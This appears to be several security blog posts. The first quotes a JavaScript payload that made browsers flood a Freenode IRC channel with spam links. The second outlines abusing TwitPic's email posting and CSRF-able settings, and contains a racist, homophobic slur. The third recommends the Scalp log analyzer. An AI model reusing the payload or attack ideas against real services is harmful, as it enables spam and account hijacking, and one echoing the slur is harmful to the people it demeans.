You can read the whole story here (and come back afterwards).

TLDR: the channel (through some javascript code) got link spammed in huge numbers.

The code – which you can find in the article I’ve pointed earlier – basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.

What I’ve liked in the code is the way it sends the connection and “payload” to the irc server; via the following (combined) string.

x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';

And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.

Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.

Nice trick, I’ll remember it next time I’ll have to do a string repeat.

And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.

IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):

Freenode is run by morons who can’t read IRCD config files. It is that simple.

Instead of reading the docs, freenode is switching to another IRCD to solve this “problem”. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.

But no, freenode has historically been run by people who don’t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.

Also firewalling with a pattern match on POST would’ve solved these problems too. But freenode admins are not the brightest admins.

And all of this because a Reddit user once owned a Digg user…. I can’t find the picture!

Due to this direction that Twitter is adopting (involuntarily) dozens of web applications have sprung up; from url shortening services to web applications like: WeFollow, TwitterSheep, TwitterTag, TwitVid, YFrog, TwitPic and many more…

Anyway, we’re going to talk about TwitPic… Among some annoyances it comes with; like: using HTTP even if SSL certificate is available, requesting username/password instead of using OAuth; recently (or at least I noticed yesterday and the blog didn’t work for me now) it implemented a more than annoying feature.

What’s wrong?

If you are using TwitPic you may notice that on the upload page there is a notice after the upload form, and I quote (partially, because I don’t want my account to be spammed):

Did you know you can post photos from your phone?
Just send your photos to
dblackshell.1768@twitpic.com

You can use the Subject line of the email to send a message along with your photo

A series of issues arise from this point onwards:

1. TwitPic stores usernames and passwords somewhere in plain text for Basic Auth authentication and tweeting when contacted via email.

2. The email option cannot be deactivated. Once you’ve logged to TwitPic you’re already vulnerable in a smaller or larger percentage.

3. The generated email address is of the format twitter_username.xxxx@twitpic.com, where xxxx is in a numeric format.

And how is that wrong?

It depends. On a targeted attack someone wouldn’t mind putting some effort in it. There are enough free hosting services out there which give you email sending functionality (restricted by a daily number thou), so mass mailing would be an option. Or welcome…

CSRF!

The setting page is CSRFeable, so setting a desired PIN (the 4 number digit) by the attacker isn’t out of the question.

How could this be beneficial for an attacker?

If you’re asking this question, maybe you should do more research on how influential people may be helpful for someone with obscure intentions.

• Would you click on a link Obama would post?
• What if I would have posted that tweet (assuming he ever used TwitPic)?
• What if on the landing page would be a Adobe Reader (it’s in vogue) exploit, browser exploit or some gay nigga porn (just for the lulz)?

p.s. If you were logged into TwitPic at the moment you visited this page, feel free to share you twitter username :)

Maybe not exactly a full step, but you will understand later on why not.

In the ending of the article I mentioned that there is a wordpress plugin that does just that, it is called access log (duh) and you can download it from here. After installing the plugin and configuring it you may also want to decode the REQUEST_URI because that will help later on for analysis. Just add the rawurldecode function to the code:

$href = rawurldecode($_SERVER['REQUEST_URI']);

Another important step after installing/configuring the plugin would be to protect the log directory from unwanted visitors. I use a simple .htaccess file to accomplish the task. The following example denotes the rewrite rule I use:

RewriteRule ^(.*)$ http://insanesecurity.info [R=301,L]

If you’re a stranger towards .htaccess files you might be interested in, a short resource based article I wrote, .htaccess 101.

After a while of log harvesting you might be interested in analyzing the logs and find potential intruders/attackers. That’s when Scalp comes in.

Scalp! is a log analyzer for the Apache web server that aims to look for security problems. The main idea is to look through huge log files and extract the possible attacks that have been sent through HTTP/GET (By default, Apache does not log the HTTP/POST variable).

And this is the reason why we take a partial step, because it doesn’t support custom access log files, thus we cannot analyze POST requests. But let’s give Romain some time, as he’s working on a improved C++ version of it, which hopefully will have this feature.

Among Scalps features (options) are the following:

• tough: Will decode a part of potential attacks (this is done to use better the regexp from PHP-IDS in order to decrease the false-negative rate)
• period: Specify a time-frame to look at, all the rest will be ignored
• sample: Does a random sampling of the log lines in order to look at a certain percentage, this is useful when the user doesn’t want to do a full scan of all the log, but just ping it to see if there is some problem…
• attack: Specify what classes of vulnerabilities the tool will look at (eg, look only for XSS, SQL Injection, etc.)

The things that Scalp can find are: XSS, CSRF, SQL Injection, LFI, RFE (or RFI as some call it), DOS, Directory Transversal, Spam and Information Disclosure.

For more information you can visit the start page of the project here, or just go to the download section here. Almost forgot to mention, Scalp is a python script.

Not done just yet, Scalp works with PHP-IDS’s filters, so you’ll have to download the filter (xml) file from their website to get things working.

Enough said, hopefully Scalp will help you in preventing attackers, rather than helping you in attack forensics.